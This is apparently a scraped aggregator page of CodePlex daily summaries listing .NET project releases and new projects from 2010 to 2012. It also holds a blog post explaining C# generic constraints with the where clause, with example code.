??"AcDown?????"????????? ...Fluent Validation for .NET: 3.4: Changes since 3.3: Make ValidationResut.IsValid virtual Add private no-arg ctor to ValidationFailure to help with serialization Add Turkish error messages Work-around for reflection bug in .NET 4.5 that caused VerificationExceptions Assemblies are now unsigned to ease with versioning/upgrades (especially where other frameworks depend on FV) (Note if you need signed assemblies then you can use the following NuGet packages: FluentValidation-signed, FluentValidation.MVC3-signed, FluentV...DotNetNuke® Feedback: 06.02.01: Official Release - 17th August 2012 Please look at the Release Notes file included in the module packages or available on this page as a separate download for a listing of the bug fixes and enhancements found in this version. NOTE: Feedback v 06.02.00 REQUIRES a minimum DotNetNuke framework version of 06.02.00 as well as ASP.Net 3.5 SP1 and MS SQL Server 2005 or 2008 (Express or standard versions). This release brings some enhancements to the module as well as fixing all known bugs. Bug Fi...New ProjectsAD FS 2.0 RelayState Generator: HTML file for generating the RelayState URL string for use with Microsoft's AD FS 2.0 Rollup 2 and higherAtomic: A graphical, reactive, synchronous software development environment that dramatically reduces programming effort and improves team communication.Depixelizing Pixel Arts: This project is an attempt to implement the following Microsoft Research Paper in C#: http://research.microsoft.com/en-us/um/people/kopf/pixelart/Dynamics CRM 2011 Dummy Entity: Using a "Dummy" Entity, this Dynamics 2011 solution provides authenticated REST style calls from a Web Resource to a plug-in to reach back-end resources.ESPAM7mo: Solución q controla el ingreso y salida de bodega de los suministros, realizado por los alumnos del septimo semestre de la carrera de informatica de la ESPAMExisto: Existo is a project aimed at creating an enterprise business collaboration system.Fiddler2 OAuth: Allows for easy OAuth debugging with Fiddler2gView GIS OS Data - ArcMap Extension: Display and edit gView data sources in ArcMap. For example: edit PostGIS data in ArcMap...IronBoard: ReviewBoard Visual Studio extensionJulaDB: C# implementation of an in-memory database engine.JumpingBalls: a wp gameKimola Cloud Search API Client Library for .NET: A C# library that encapsulates all the internal work and let you work with concrete C# objects while developing your search enabled applications.message elgg: It is a plugin for elggTamarillo - OSGI like Service Platform for .NET: This project is based on the OSGI-Framework for Java TFS Project Test Migrator: The goal of this project is to offer a solution to migrate a test plan from a TFS project to another.TFSIntegrate with Outlook: Tool is used to integrate the outlook with TFS. It will attach the emails to the TFS.Time Controller App: ...touch_cloud_game: ?w??w???

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• CodePlex Daily Summary for Wednesday, December 29, 2010

  CodePlex Daily Summary for Wednesday, December 29, 2010Popular ReleasesDocX: DocX v1.0.0.11: Building Examples projectTo build the Examples project, download DocX.dll and add it as a reference to the project. OverviewThis version of DocX contains many bug fixes, it is a serious step towards a stable release. Added1) Unit testing project, 2) Examples project, 3) To many bug fixes to list here, see the source code change list history.Cosmos (C# Open Source Managed Operating System): 71406: This is the second release supporting the full line of Visual Studio 2010 editions. Changes since release 71246 include: Debug info is now stored in a single .cpdb file (which is a Firebird database) Keyboard input works now (using Console.ReadLine) Console colors work (using Console.ForegroundColor and .BackgroundColor)AutoLoL: AutoLoL v1.5.0: Added the all new Masteries Browser which replaces the Quick Open combobox AutoLoL will now attemt to create file associations for mastery (*.lolm) files Each Mastery Build can now contain keywords that the Masteries Browser will use for filtering Changed the way AutoLoL detects if another instance is already running Changed the format of the mastery files to allow more information stored in* Dialogs will now focus the Ok or Cancel button which allows the user to press Return to clo...Confree for Outlook: Confree for Outlook 1.0: Confree for OutlookFeaturesCreate a Claro/Telmex conference directly from Outlook (only works for Argentina). NotesBy now, only works with Claro/Telmex Argentina (if you are using http://simon.telmex.net.ar, we are good).Paint.NET PSD Plugin: 1.6.0: Handling of layer masks has been greatly improved. Improved reliability. Many PSD files that previously loaded in as garbage will now load in correctly. Parallelized loading. PSD files containing layer masks will load in a bit quicker thanks to the removal of the sequential bottleneck. Hidden layers are no longer made visible on save. Many thanks to the users who helped expose the layer masks problem: Rob Horowitz, M_Lyons10. Please keep sending in those bug reports and PSD repro files!Razor Templating Engine: Razor Templating Engine v1.2: Changes: ADDED: Standard namespaces imports for all templates: System, System.Collections.Generic, System.Linq (Changeset 5635) ADDED: Methods for Precompilation (Changeset 3283) CHANGED: Refactored precompilation to be exposed per-TemplateService. (Changeset 3440) CHANGED: Added more descriptive compilation exception message. (Changeset 3629) FIXED: Forced reference to Microsoft.CSharp to correct support for testing frameworks. (Changeset 3689) FIXED: Added support for nested anonymous obj...PhysicalMeasure C# library: PhysicalMeasure 1.0 Release 2010-12-28: PhysicalMeasure 1.0 Release 2010-12-28Facebook C# SDK: 4.1.1: From 4.1.1 Release: Authentication bug fix caused by facebook change (error with redirects in Safari) Authenticator fix, always returning true From 4.1.0 Release Lots of bug fixes Removed Dynamic Runtime Language dependencies from non-dynamic platforms. Samples included in release for ASP.NET, MVC, Silverlight, Windows Phone 7, WPF, WinForms, and one Visual Basic Sample Changed internal serialization to use Json.net BREAKING CHANGE: Canvas Session is no longer supported. Use Signed...MonitorWang: MonitorWang v1.0.5 (Growler): What's new?Added Growl Notification Finalisers - these are interceptor components that work exclusively with the Growl Publisher. These allow you to modify the Growl Notification just prior to it being sent by the publisher. You can inject custom logic to precisely control how the Growl Notification will appear; this includes changing the Growl Priority level and message text. I've created to two Growl Notification Finalisers - one allows you to change the Growl Notification Priorty based on ...Catel - WPF and Silverlight MVVM library: 1.0.0: And there it is, the final release of Catel, and it is no longer a beta version!EnhSim: EnhSim 2.2.7 ALPHA: 2.2.7 ALPHAThis release supports WoW patch 4.03a at level 85 To use this release, you must have the Microsoft Visual C++ 2010 Redistributable Package installed. This can be downloaded from http://www.microsoft.com/downloads/en/details.aspx?FamilyID=A7B7A05E-6DE6-4D3A-A423-37BF0912DB84 To use the GUI you must have the .NET 4.0 Framework installed. This can be downloaded from http://www.microsoft.com/downloads/en/details.aspx?FamilyID=9cfb2d51-5ff4-4491-b0e5-b386f32c0992 - Mongoose has bee...LINQ to Twitter: LINQ to Twitter Beta v2.0.19: Mono 2.8, Silverlight, OAuth, 100% Twitter API coverage, streaming, extensibility via Raw Queries, and added documentation. Bug fixes.Rocket Framework (.Net 4.0): Rocket Framework for Windows V 1.0.0: Architecture is reviewed and adjusted in a way so that I can introduce the Web version and WPF version of this framework next. - Rocket.Core is introduced - Controller button functions revisited and updated - DB is renewed to suite the implemented features - Create New button functionality is changed - Add Question Handling featuresFlickr Wallpaper Rotator (for Windows desktop): Wallpaper Flickr 1.1: Some minor bugfixes (mostly covering when network connection is flakey, so I discovered them all while at my parents' house for Christmas).NoSimplerAccounting: NoSimplerAccounting 6.0: -Fixed a bug in expense category report.NHibernate Mapping Generator: NHibernate Mapping Generator 2.0: Added support for Postgres (Thanks to Angelo)NewLife XCode: XCode v6.5.2010.1223 ????（????v3.5??）: XCode v6.5.2010.1223 ????，??： NewLife.Core ??? NewLife.Net ??? XControl ??? XTemplate ????，??C#?????? XAgent ???? NewLife.CommonEnitty ??????（???，XCode??????） XCode?? ?????????，??????????????????，?????95% XCode v3.5.2009.0714 ??，?v3.5?v6.0???????????????，?????????。v3.5???????????，??????????????。 XCoder ??XTemplate?????????，????????XCode??? XCoder_Src ???????（????XTemplate????），??????????????????VivoSocial: VivoSocial 7.4.0: Please see changes: http://support.vivoware.com/project/ChangeLog.aspx?PROJID=48Umbraco CMS: Umbraco 4.6 Beta - codename JUNO: The Umbraco 4.6 beta (codename JUNO) release contains many new features focusing on an improved installation experience, a number of robust developer features, and contains more than 89 bug fixes since the 4.5.2 release. Improved installer experience Updated Starter Kits (Simple, Blog, Personal, Business) Beautiful, free, customizable skins included Skinning engine and Skin customization (see Skinning Documentation Kit) Default dashboards on install with hide option Updated Login t...ASP.NET MVC SiteMap provider: MvcSiteMapProvider 2.3.0: Using NuGet?MvcSiteMapProvider is also listed in the NuGet feed. Learn more... Like the project? Consider a donation!Donate via PayPal via PayPal. Release notesThis will be the last release targeting ASP.NET MVC 2 and .NET 3.5. MvcSiteMapProvider 3.0.0 will be targeting ASP.NET MVC 3 and .NET 4 Web.config setting skipAssemblyScanOn has been deprecated in favor of excludeAssembliesForScan and includeAssembliesForScan ISiteMapNodeUrlResolver is now completely responsible for generating th...New Projects42 Sight Holistic Data Warehousing on Microsoft SQL Server 2008: This project is the Holistic DW Template. Included are the 3 MS XL spreadsheet reporting models as described in the book Holistic Data Warehousing. This Template is multi-purpose and requires no modification other than you populating it according to the book examplesAndshev.OrmTools: Tools for generating SQL queries using LINQ. ORM framework is also planned to be implemented.BFG and Dice Roller: This solution will contain 2 concepts, the Dice Roller with hooks for extension into other applications, as well as a Personal Battlefleet Gothic Helper application to help manage, control, and smoothe the flow of BFG games. The BFG application will target the Phone 7 platform.BlondieODOS: its an osBluehat Community projetcts: Bluehat Community projetcts.C# - DBWrapper MySQL: Abro aqui a discussão para criarmos uma classe para manipular dados em MySQL.CardGame for Education: This project goal is to create a small Card Game and to teach the team members how to design, implement and how to use "real world" tools. Englishlearning: My test project!Faran Silver: Silverlight Controls Developed till now. Include: 1- Persian Date Input 2- Close-able Tab Item 3- Shamsi Date Convertergocodelibrary: This is my project.Id3Stuff: Project that throws together some nice id3 mass editing functionsInfoStrat.OakFx: OakFx by InfoStratinivi: iniviJJODESK: This little utility software written in Vb.net 2.0, allows you to : - switch IE proxy, - manage IP, - launch website, - launch other utilty tools , - launch and manage cmd, bat, vbs script. - and much more ..... First I wrote this tool for my personal use, because I work with several networks, and customer sites. I think many other software developpers have the same need. All parameters are customisable, and are store in an ini text file. And it can run on an USB stick. learn MVC: Just keeping all source code in one place. Thats all folksLJF.Utility: Utility?????Lucidity: Lucid WILDMixModes Synergy - The WPF Toolkit: MixModes Synergy 2010 is a complete toolset that simplifies user interface development in Windows Presentation Foundation based applications. Synergy includes rich user interface controls providing professional look and feel for your applications out of the box.Multi Targetted Rss Reader: A Multi Targetted Rss Reader demo that shows how to multi target your view model across different screens (WP7, Silverlight, WPF, Surface).Secure Batch Command Tool For Administrators: A command line tool that will help you to protect your passwords that you should provide in your batch files. This tool encrypt Dos commands and update the batch files in a way that keeps your batch file maintainable and easy to use.SharePoint 2010 Conditional Lookup Control: I created a "Conditional Lookup" control for SharePoint 2010. With this you can connect two lookup fields controls on list forms to fill the second control with values depending on the selected value in the first control. There is a demo inside.sql dot: Ease when making a connection to the sql serverwolisbetter: WOL is better!WP7PasswordsBackup: backup/sync client for windows phone 7 passwords app. ??????: ??????

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• CodePlex Daily Summary for Saturday, August 25, 2012

  CodePlex Daily Summary for Saturday, August 25, 2012Popular ReleasesVisual Studio Team Foundation Server Branching and Merging Guide: v2 - Visual Studio 2012: Welcome to the Branching and Merging Guide Quality-Bar Details Documentation has been reviewed by Visual Studio ALM Rangers Documentation has been through an independent technical review Documentation has been reviewed by the quality and recording team All critical bugs have been resolved Known Issues / Bugs Spelling, grammar and content revisions are in progress. Hotfix will be published.Community TFS Build Extensions: August 2012: The August 2012 release contains VS2010 Activities(target .NET 4.0) VS2012 Activities (target .NET 4.5) Community TFS Build Manager VS2010 Community TFS Build Manager VS2012 Both the Community TFS Build Managers can also be found in the Visual Studio Gallery here where updates will first become available. Please note that we only intend to fix major bugs in the 2010 version and will concentrate our efforts on the 2012 version of the TFS Build Manager. At a high level, the following I...Microsoft Ajax Minifier: Microsoft Ajax Minifier 4.62: Fix for issue #18525 - escaped characters in CSS identifiers get double-escaped if the character immediately after the backslash is not normally allowed in an identifier. fixed symbol problem with nuget package. 4.62 should have nuget symbols available again.nopCommerce. Open source shopping cart (ASP.NET MVC): nopcommerce 2.65: As some of you may know we were planning to release version 2.70 much later (the end of September). But today we have to release this intermediate version (2.65). It fixes a critical issue caused by a third-party assembly when running nopCommerce on a server with .NET 4.5 installed. No major features have been introduced with this release as our development efforts were focused on further enhancements and fixing bugs. To see the full list of fixes and changes please visit the release notes p...MyRouter (Virtual WiFi Router): MyRouter 1.2.9: . Fix: Some missing changes for fixing the window subclassing crash. · Fix: fixed bug when Run MyRouter at the first Time. · Fix: Log File · Fix: improve performance speed application · fix: solve some Exception.ZXing.Net: ZXing.Net 0.8.0.0: sync with rev. 2393 of the java version improved API, direct support for multiple barcode decoding, wrapper for barcode generating many other improvements and fixes encoder and decoder command line clients demo client for emguCV dev documentation startedScintillaNET: ScintillaNET 2.5.1: This release has been built from the 2.5 branch. Issues closed: Issue # Title 32524 32524 32550 32550 32552 32552 25148 25148 32449 32449 32551 32551 32711 32711 MFCMAPI: August 2012 Release: Build: 15.0.0.1035 Full release notes at SGriffin's blog. If you just want to run the MFCMAPI or MrMAPI, get the executables. If you want to debug them, get the symbol files and the source. The 64 bit builds will only work on a machine with Outlook 2010 64 bit installed. All other machines should use the 32 bit builds, regardless of the operating system. Facebook BadgeSQL Monitor - managing sql server performance: SQL Monitor 4.2 beta 1: 1. fixed a few bugs 2. changed some column names to more readable text.Nito AsyncEx: 0.9.1: Identical to the primary NuGet package. Please note that this release has several breaking changes! Most importantly, VS2010 and the Async CTP are no longer supported. VS2010 users should continue to use 0.8.0; VS2012 users should use the latest version. Other changes: TFS/ICancelableAsync has been removed. It can be added back if there is sufficient demand. SL4 and WP7 are no longer supported. The dependency on Async CTP has been changed to dependencies on the Async Targeting Pack and...Snippets Generator for SQL Server 2012: Snippets Generator v1.0: This is the first stable release of Snippets Generator v1.0. All the reported issues have been resolved. Thank you for your feedback and enjoy the tool!BrowseByURL: BrowseByURL 1.0.1: Now also for windows XPThe LogNut logging library and facilities: Release 0.1: This is the API help-file document in .chm format..NET Winforms Gantt Chart Control: Gantt Chart Control: Full C# source download. DLL project with Example Application to show how the Control can be used in Winforms.Document.Editor: 2013.2: Whats new for Document.Editor 2013.2: New save as Html document Improved Traslate support Minor Bug Fix's, improvements and speed upsPulse: Pulse Beta 5: Whats new in this release? Well to start with we now have Wallbase.cc Authentication! so you can access favorites or NSFW. This version requires .NET 4.0, you probably already have it, but if you don't it's a free and easy download from Microsoft. Pulse can bet set to start on Windows startup now too. The Wallpaper setter has settings now, so you can change the background color of the desktop and the Picture Position (Tile/Center/Fill/etc...) I've switched to Windows Forms instead of WPF...Metro Paint: Metro Paint: Download it now , don't forget to give feedback to me at maitreyavyas@live.com or at my facebook page fb.com/maitreyavyas , Hope you enjoy it.MiniTwitter: 1.80: MiniTwitter 1.80 ???? ?? .NET Framework 4.5 ?????? ?? .NET Framework 4.5 ????????????? "&" ??????????????????? ???????????????????????? 2 ??????????? ReTweet ?????????????????、In reply to ?????????????? URL ???????????? ??????????????????????????????Droid Explorer: Droid Explorer 0.8.8.6 Beta: Device images are now pulled from DroidExplorer Cloud Service refined some issues with the usage statistics Added a method to get the first available value from a list of property names DroidExplorer.Configuration no longer depends on DroidExplorer.Core.UI (it is actually the other way now) fix to the bootstraper to only try to delete the SDK if it is a "local" sdk, not an existing. no longer support the "local" sdk, you must now select an existing SDK checks for sdk if it was ins...Path Copy Copy: 11.0.1: Bugfix release that corrects the following issue: 11365 If you are using Path Copy Copy in a network environment and use the UNC path commands, it is recommended that you upgrade to this version.New ProjectsBeginning Visual C++ 2010: For Educational use onlyChien Fidele - Education Canine: Accompagnons un educateur canin comportementaliste vers son premier site web. http://www.chienfidele.fr "Votre Chien Fidèle."CodeProject App: An Android app for browsing/using CodeProject.com. This app includes quite a few features already so take a look! It's fast and easy to use! Even uses caching!FOBTV.Web: FOBTV.WebJunkBox: This is a summaryloveyou: loveyouNDatabase - C# Lightweight Object Database: This project creates lightweight object database dedicated for .NET. The purpose of this project is to give a developer possibility to persist any object in C#.Online Shopping Website: MVC 4 Project For Online Shopping Website.Raze The Game: Raze is an indie game created by Team R.A.Z.E.repository of CodePlex: CodePlex, just for publicationsafsafd: sadfsafSCCM , AD & Powershell customization/scripts/WebServices: Project with customization for managing your infrastructure including Custom Webservices for SCCM , Active Directory Scripts (powershell) , Web FrontEndsSilverBullet: SilverBullet is an open-source implementation of Microsoft's XNA Framework, written on top of SilverLight.Some DotNetNuke® Hacks: This project is a container for some custom hacks, modules and other modifications to DotNetNuke® which doesn't fit into other projects.TempleApplication: Its a Temple Services Application, User of temple use temple services and their log is maintained transportadora: ProjetoUmbraco Development: This project is dedicated to all the CMS programmer and beginner so that they can help each other.Visual Studio Extension - Gated CheckIn: Its a visual studio 2010 plugin for Gated Check in. Currently only TFS 2010 is supported as Source Control provider.WF Terminator: SharePoint 2010 Tool for Finding & Terminating Workflows. Please see the Home Page for more information.WindowPhone Calendar Control: It is a simple windowsphone calendar control. I hope you like it.WinFormWeatherNet: It is a simple library that gives WinForm weather forecast through the Google Weather Service, in the future contain Yahoo services and create libraries for WPF???? ???: ??? ??/?? ??????

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• C#/.NET Little Wonders: Constraining Generics with Where Clause

  - by James Michael Hare

  Back when I was primarily a C++ developer, I loved C++ templates.  The power of writing very reusable generic classes brought the art of programming to a brand new level.  Unfortunately, when .NET 1.0 came about, they didn’t have a template equivalent.  With .NET 2.0 however, we finally got generics, which once again let us spread our wings and program more generically in the world of .NET However, C# generics behave in some ways very differently from their C++ template cousins.  There is a handy clause, however, that helps you navigate these waters to make your generics more powerful. The Problem – C# Assumes Lowest Common Denominator In C++, you can create a template and do nearly anything syntactically possible on the template parameter, and C++ will not check if the method/fields/operations invoked are valid until you declare a realization of the type.  Let me illustrate with a C++ example: 1: // compiles fine, C++ makes no assumptions as to T 2: template <typename T> 3: class ReverseComparer 4: { 5: public: 6: int Compare(const T& lhs, const T& rhs) 7: { 8: return rhs.CompareTo(lhs); 9: } 10: }; Notice that we are invoking a method CompareTo() off of template type T.  Because we don’t know at this point what type T is, C++ makes no assumptions and there are no errors. C++ tends to take the path of not checking the template type usage until the method is actually invoked with a specific type, which differs from the behavior of C#: 1: // this will NOT compile! C# assumes lowest common denominator. 2: public class ReverseComparer<T> 3: { 4: public int Compare(T lhs, T rhs) 5: { 6: return lhs.CompareTo(rhs); 7: } 8: } So why does C# give us a compiler error even when we don’t yet know what type T is?  This is because C# took a different path in how they made generics.  Unless you specify otherwise, for the purposes of the code inside the generic method, T is basically treated like an object (notice I didn’t say T is an object). That means that any operations, fields, methods, properties, etc that you attempt to use of type T must be available at the lowest common denominator type: object.  Now, while object has the broadest applicability, it also has the fewest specific.  So how do we allow our generic type placeholder to do things more than just what object can do? Solution: Constraint the Type With Where Clause So how do we get around this in C#?  The answer is to constrain the generic type placeholder with the where clause.  Basically, the where clause allows you to specify additional constraints on what the actual type used to fill the generic type placeholder must support. You might think that narrowing the scope of a generic means a weaker generic.  In reality, though it limits the number of types that can be used with the generic, it also gives the generic more power to deal with those types.  In effect these constraints says that if the type meets the given constraint, you can perform the activities that pertain to that constraint with the generic placeholders. Constraining Generic Type to Interface or Superclass One of the handiest where clause constraints is the ability to specify the type generic type must implement a certain interface or be inherited from a certain base class. For example, you can’t call CompareTo() in our first C# generic without constraints, but if we constrain T to IComparable<T>, we can: 1: public class ReverseComparer<T> 2: where T : IComparable<T> 3: { 4: public int Compare(T lhs, T rhs) 5: { 6: return lhs.CompareTo(rhs); 7: } 8: } Now that we’ve constrained T to an implementation of IComparable<T>, this means that our variables of generic type T may now call any members specified in IComparable<T> as well.  This means that the call to CompareTo() is now legal. If you constrain your type, also, you will get compiler warnings if you attempt to use a type that doesn’t meet the constraint.  This is much better than the syntax error you would get within C++ template code itself when you used a type not supported by a C++ template. Constraining Generic Type to Only Reference Types Sometimes, you want to assign an instance of a generic type to null, but you can’t do this without constraints, because you have no guarantee that the type used to realize the generic is not a value type, where null is meaningless. Well, we can fix this by specifying the class constraint in the where clause.  By declaring that a generic type must be a class, we are saying that it is a reference type, and this allows us to assign null to instances of that type: 1: public static class ObjectExtensions 2: { 3: public static TOut Maybe<TIn, TOut>(this TIn value, Func<TIn, TOut> accessor) 4: where TOut : class 5: where TIn : class 6: { 7: return (value != null) ? accessor(value) : null; 8: } 9: } In the example above, we want to be able to access a property off of a reference, and if that reference is null, pass the null on down the line.  To do this, both the input type and the output type must be reference types (yes, nullable value types could also be considered applicable at a logical level, but there’s not a direct constraint for those). Constraining Generic Type to only Value Types Similarly to constraining a generic type to be a reference type, you can also constrain a generic type to be a value type.  To do this you use the struct constraint which specifies that the generic type must be a value type (primitive, struct, enum, etc). Consider the following method, that will convert anything that is IConvertible (int, double, string, etc) to the value type you specify, or null if the instance is null. 1: public static T? ConvertToNullable<T>(IConvertible value) 2: where T : struct 3: { 4: T? result = null; 5:  6: if (value != null) 7: { 8: result = (T)Convert.ChangeType(value, typeof(T)); 9: } 10:  11: return result; 12: } Because T was constrained to be a value type, we can use T? (System.Nullable<T>) where we could not do this if T was a reference type. Constraining Generic Type to Require Default Constructor You can also constrain a type to require existence of a default constructor.  Because by default C# doesn’t know what constructors a generic type placeholder does or does not have available, it can’t typically allow you to call one.  That said, if you give it the new() constraint, it will mean that the type used to realize the generic type must have a default (no argument) constructor. Let’s assume you have a generic adapter class that, given some mappings, will adapt an item from type TFrom to type TTo.  Because it must create a new instance of type TTo in the process, we need to specify that TTo has a default constructor: 1: // Given a set of Action<TFrom,TTo> mappings will map TFrom to TTo 2: public class Adapter<TFrom, TTo> : IEnumerable<Action<TFrom, TTo>> 3: where TTo : class, new() 4: { 5: // The list of translations from TFrom to TTo 6: public List<Action<TFrom, TTo>> Translations { get; private set; } 7:  8: // Construct with empty translation and reverse translation sets. 9: public Adapter() 10: { 11: // did this instead of auto-properties to allow simple use of initializers 12: Translations = new List<Action<TFrom, TTo>>(); 13: } 14:  15: // Add a translator to the collection, useful for initializer list 16: public void Add(Action<TFrom, TTo> translation) 17: { 18: Translations.Add(translation); 19: } 20:  21: // Add a translator that first checks a predicate to determine if the translation 22: // should be performed, then translates if the predicate returns true 23: public void Add(Predicate<TFrom> conditional, Action<TFrom, TTo> translation) 24: { 25: Translations.Add((from, to) => 26: { 27: if (conditional(from)) 28: { 29: translation(from, to); 30: } 31: }); 32: } 33:  34: // Translates an object forward from TFrom object to TTo object. 35: public TTo Adapt(TFrom sourceObject) 36: { 37: var resultObject = new TTo(); 38:  39: // Process each translation 40: Translations.ForEach(t => t(sourceObject, resultObject)); 41:  42: return resultObject; 43: } 44:  45: // Returns an enumerator that iterates through the collection. 46: public IEnumerator<Action<TFrom, TTo>> GetEnumerator() 47: { 48: return Translations.GetEnumerator(); 49: } 50:  51: // Returns an enumerator that iterates through a collection. 52: IEnumerator IEnumerable.GetEnumerator() 53: { 54: return GetEnumerator(); 55: } 56: } Notice, however, you can’t specify any other constructor, you can only specify that the type has a default (no argument) constructor. Summary The where clause is an excellent tool that gives your .NET generics even more power to perform tasks higher than just the base "object level" behavior.  There are a few things you cannot specify with constraints (currently) though: Cannot specify the generic type must be an enum. Cannot specify the generic type must have a certain property or method without specifying a base class or interface – that is, you can’t say that the generic must have a Start() method. Cannot specify that the generic type allows arithmetic operations. Cannot specify that the generic type requires a specific non-default constructor. In addition, you cannot overload a template definition with different, opposing constraints.  For example you can’t define a Adapter<T> where T : struct and Adapter<T> where T : class.  Hopefully, in the future we will get some of these things to make the where clause even more useful, but until then what we have is extremely valuable in making our generics more user friendly and more powerful!   Technorati Tags: C#,.NET,Little Wonders,BlackRabbitCoder,where,generics

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• CodePlex Daily Summary for Wednesday, October 31, 2012

  CodePlex Daily Summary for Wednesday, October 31, 2012Popular ReleasesDevpad: 4.25: Whats new for Devpad 4.25: New Theme support New Export Wordpress Minor Bug Fix's, improvements and speed upsAssaultCube Reloaded: 2.5.5: Linux has Ubuntu 11.10 32-bit precompiled binaries and Ubuntu 10.10 64-bit precompiled binaries, but you can compile your own as it also contains the source. If you are using Mac or other operating systems, please wait while we try to package for those OSes. Try to compile it. If it fails, download a virtual machine. The server pack is ready for both Windows and Linux, but you might need to compile your own for Linux (source included) Changelog: Fixed potential bot bugs: Map change, OpenAL...Edi: Edi 1.0 with DarkExpression: Added DarkExpression theme (dialogs and message boxes are not completely themed, yet)DirectX Tool Kit: October 30, 2012 (add WP8 support): October 30, 2012 Added project files for Windows Phone 8MCEBuddy 2.x: MCEBuddy 2.3.6: Changelog for 2.3.6 (32bit and 64bit) 1. Fixed a bug in multichannel audio conversion failure. AAC does not support 6 channel audio, MCEBuddy now checks for it and force the output to 2 channel if AAC codec is specified 2. Fixed a bug in Original Broadcast Date and Time. Original Broadcast Date and Time is reported in UTC timezone in WTV metadata. TVDB and MovieDB dates are reported in network timezone. It is assumed the video is recorded and converted on the same machine, i.e. local timezone...MVVM Light Toolkit: MVVM Light Toolkit V4.1 for Visual Studio 2012: This version only supports Visual Studio 2012 (and all Express editions too). If you use Visual Studio 2010, please stay tuned, we will publish an update in a few days with support for VS10. V4.1 supports: Windows Phone 8 Windows 8 (Windows RT) Silverlight 5 Silverlight 4 WPF 4.5 WPF 4 WPF 3.5 And the following development environments: Visual Studio 2012 (Pro, Premium, Ultimate) Visual Studio 2012 Express for Windows 8 Visual Studio 2012 Express for Windows Phone 8 Visual...Microsoft Ajax Minifier: Microsoft Ajax Minifier 4.73: Fix issue in Discussion #401101 (unreferenced var in a for-in statement was getting removed). add the grouping operator to the parsed output so that unminified parsed code is closer to the original. Will still strip unneeded parens later, if minifying. more cleaning of references as they are minified out of the code.RiP-Ripper & PG-Ripper: PG-Ripper 1.4.03: changes NEW: Added Support for the phun.org forum FIXED: Kitty-Kats new Forum UrlLiberty: v3.4.0.1 Release 28th October 2012: Change Log -Fixed -H4 Fixed the save verification screen showing incorrect mission and difficulty information for some saves -H4 Hopefully fixed the issue where progress did not save between missions and saves would not revert correctly -H3 Fixed crashes that occurred when trying to load player information -Proper exception dialogs will now show in place of crashesPlayer Framework by Microsoft: Player Framework for Windows 8 (Preview 7): This release is compatible with the version of the Smooth Streaming SDK released today (10/26). Release 1 of the player framework is expected to be available next week. IMPROVEMENTS & FIXESIMPORTANT: List of breaking changes from preview 6 Support for the latest smooth streaming SDK. Xaml only: Support for moving any of the UI elements outside the MediaPlayer (e.g. into the appbar). Note: Equivelent changes to the JS version due in coming week. Support for localizing all text used in t...Send multiple SMS via Way2SMS C#: SMS 1.1: Added support for 160by2Quick Launch: Quick Launch 1.0: A Lightweight and Fast Way to Manage and Launch Thousands of Tools and ApplicationsPress Win+Q and start to search and run. http://www.codeplex.com/Download?ProjectName=quicklaunch&DownloadId=523536Orchard Project: Orchard 1.6: Please read our release notes for Orchard 1.6: http://docs.orchardproject.net/Documentation/Orchard-1-6-Release-Notes Please do not post questions as reviews. Questions should be posted in the Discussions tab, where they will usually get promptly responded to. If you post a question as a review, you will pollute the rating, and you won't get an answer.Media Companion: Media Companion 3.507b: Once again, it has been some time since our release, and there have been a number changes since then. It is hoped that these changes will address some of the issues users have been experiencing, and of course, work continues! New Features: Added support for adding Home Movies. Option to sort Movies by votes. Added 'selectedBrowser' preference used when opening links in an external browser. Added option to fallback to getting runtime from the movie file if not available on IMDB. Added new Big...MSBuild Extension Pack: October 2012: Release Blog Post The MSBuild Extension Pack October 2012 release provides a collection of over 475 MSBuild tasks. A high level summary of what the tasks currently cover includes the following: System Items: Active Directory, Certificates, COM+, Console, Date and Time, Drives, Environment Variables, Event Logs, Files and Folders, FTP, GAC, Network, Performance Counters, Registry, Services, Sound Code: Assemblies, AsyncExec, CAB Files, Code Signing, DynamicExecute, File Detokenisation, GUI...NAudio: NAudio 1.6: Release notes at http://mark-dot-net.blogspot.co.uk/2012/10/naudio-16-release-notes-10th.htmlPowerShell Community Extensions: 2.1 Production: PowerShell Community Extensions 2.1 Release NotesOct 25, 2012 This version of PSCX supports both Windows PowerShell 2.0 and 3.0. See the ReleaseNotes.txt download above for more information.Umbraco CMS: Umbraco 4.9.1: Umbraco 4.9.1 is a bugfix release to fix major issues in 4.9.0 BugfixesThe full list of fixes can be found in the issue tracker's filtered results. A summary: Split buttons work again, you can now also scroll easier when the list is too long for the screen Media and Content pickers have information of the full path of the picked item Fixed: Publish status may not be accurate on nodes with large doctypes Fixed: 2 media folders and recycle bins after upgrade to 4.9 The template/code ...AcDown????? - AcDown Downloader Framework: AcDown????? v4.2.2: ??●AcDown??????????、??、??、???????。????，????，?????????????????????????。???????????Acfun、????(Bilibili)、??、??、YouTube、??、???、??????、SF????、????????????。 ●??????AcPlay?????，??????、????????????????。 ● AcDown??????????????????，????????????????????????????。 ● AcDown???????C#??，????.NET Framework 2.0??。?????"Acfun?????"。 ????32??64? Windows XP/Vista/7/8 ???? 32??64? ???Linux ????(1)????????Windows XP???，????????.NET Framework 2.0???(x86)，?????"?????????"??? (2)???????????Linux???，????????Mono?? ??2...Rawr: Rawr 5.0.2: This is the Downloadable WPF version of Rawr!For web-based version see http://elitistjerks.com/rawr.php You can find the version notes at: http://rawr.codeplex.com/wikipage?title=VersionNotes Rawr Addon (NOT UPDATED YET FOR MOP)We now have a Rawr Official Addon for in-game exporting and importing of character data hosted on Curse. The Addon does not perform calculations like Rawr, it simply shows your exported Rawr data in wow tooltips and lets you export your character to Rawr (including ba...New ProjectsAccess 2010 Application Platform - Build Your Own Database: An Access database used as an Application Platform, where defined modules with functionality can be easily added.ASPMVCUtil: ASPMVCUtil is a compilation of libraries useful for developing in ASP.NET MVCBCF.Net: BCF.Net?????Microsoft.Net?????，??????????????????????????????。BCF.Net?????.Net?????????，???????????????????，???????????。Bytecode Translator: A translator from .NET bytecode to Boogie: Bytecode Translator is a translator from .NET bytecode to Boogie.Chalice: Specification and Verification of Concurrent Programs: Chalice is a verifier for concurrent programsDafny: An Automatic Program Verifier for Functional Correctness: Dafny is an automatic program verifier for functional correctness.DNN Task Manager1: This is the DnnTaskManager Project I have started with to learn how to create DNN modules.E Ledger: E Ledger provide user friendly interface to manage daily ledger party wise. And reporting in this project is platform independent. Reporting is in HTML format.FederatedScaleOutDatabases: A broker piece of code that helps to use relational databases in a scale-out fashion. The broker exposes a LINQ based API.FIFP: project for schedule testFileStrider: Explores 50 biggest forlders and files which "eat" disk spaceFlake ID Generators: Flake Id Generators is a set of decentralized, k-ordered id generation services in C#GFC and ASP.Net: Google Friend Connect and ASP.Net TechnologyGPUVerify: A verifier for 